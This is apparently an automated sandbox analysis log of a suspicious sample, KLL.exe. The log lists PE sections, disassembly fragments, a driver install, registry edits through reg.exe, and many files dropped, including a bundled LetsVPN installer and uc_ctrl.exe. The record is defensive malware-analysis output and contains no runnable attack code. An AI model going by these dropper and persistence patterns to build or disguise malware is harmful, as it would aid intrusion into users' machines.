            Source: uc_guilib.dll.17.drStatic PE information: section name: .giats
            Source: vcruntime140.dll.17.drStatic PE information: section name: _RDATA
            Source: e_sqlite3.dll0.20.drStatic PE information: section name: _RDATA
            Source: WebView2Loader.dll.20.drStatic PE information: section name: .00cfg
            Source: WebView2Loader.dll.20.drStatic PE information: section name: _RDATA
            Source: WebView2Loader.dll0.20.drStatic PE information: section name: .00cfg
            Source: WebView2Loader.dll0.20.drStatic PE information: section name: .voltbl
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_001090A6 push ecx; ret 17_2_001090B9
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED8EB8 push eax; retn 6CEEh17_2_6CED92AD
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF0AE76 push ecx; ret 17_2_6CF0AE89
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED1A6C pushad ; ret 17_2_6CED1A5D
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED1A40 pushad ; retn 0001h17_2_6CED1A41
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED1A5C pushad ; ret 17_2_6CED1A5D
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED1A54 push eax; ret 17_2_6CED1A59
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED8B0A push ebx; ret 17_2_6CED8B0D
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED8B06 push es; ret 17_2_6CED8B09
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF0B6B8 push ecx; ret 17_2_6CF0B6CB
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED12C4 push eax; retn 0001h17_2_6CED1A3D
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4EE66 push ecx; ret 17_2_6CF4EE79
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4F0F0 push eax; ret 17_2_6CF4F10E
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6D0C1D16 push ecx; ret 17_2_6D0C1D29
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6D0C1B85 push ecx; ret 17_2_6D0C1B98
            Source: e_sqlite3.dll.20.drStatic PE information: section name: .text entropy: 7.128615396301837

            Persistence and Installation Behavior

            barindex
            Sample is not signed and drops a device driver
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\driver\tap0901.sys
            Uses cmd line tools excessively to alter registry or file data
            Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
            Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
            Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
            Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
            Uses ipconfig to lookup or modify the Windows network settings
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\ipconfig.exe ipconfig /all
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.MemoryMappedFiles.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dllJump to dropped file
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile created: C:\Users\user\Videos\95135908~m7\msvcp140.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\LetsPRO.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Primitives.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\it\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\msvcp140.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\de\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile created: C:\Users\user\Videos\95135908~m7\vcruntime140.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\ru\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Primitives.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dllJump to dropped file
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\tap0901.sys (copy)Jump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\tr\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\ja\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\pt-BR\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Primitives.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\ru\LetsPRO.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\fr\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\System.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dllJump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SET5AF3.tmpJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\vcruntime140.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Handles.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dllJump to dropped file
            Source: C:\Windows\System32\cmd.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Primitives.dllJump to dropped file
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile created: C:\Users\user\Videos\95135908~m7\Dykljo.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dllJump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dllJump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\tap0901.sys (copy)Jump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\sJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\letsvpn-latest.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hans\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\cs\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\ndp462-web.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\nsExec.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-TW\LetsPRO.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\es\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\Update.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-SG\LetsPRO.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Primitives.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.X509Certificates.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\uninst.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\pl\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\nsDialogs.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\ko\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dllJump to dropped file
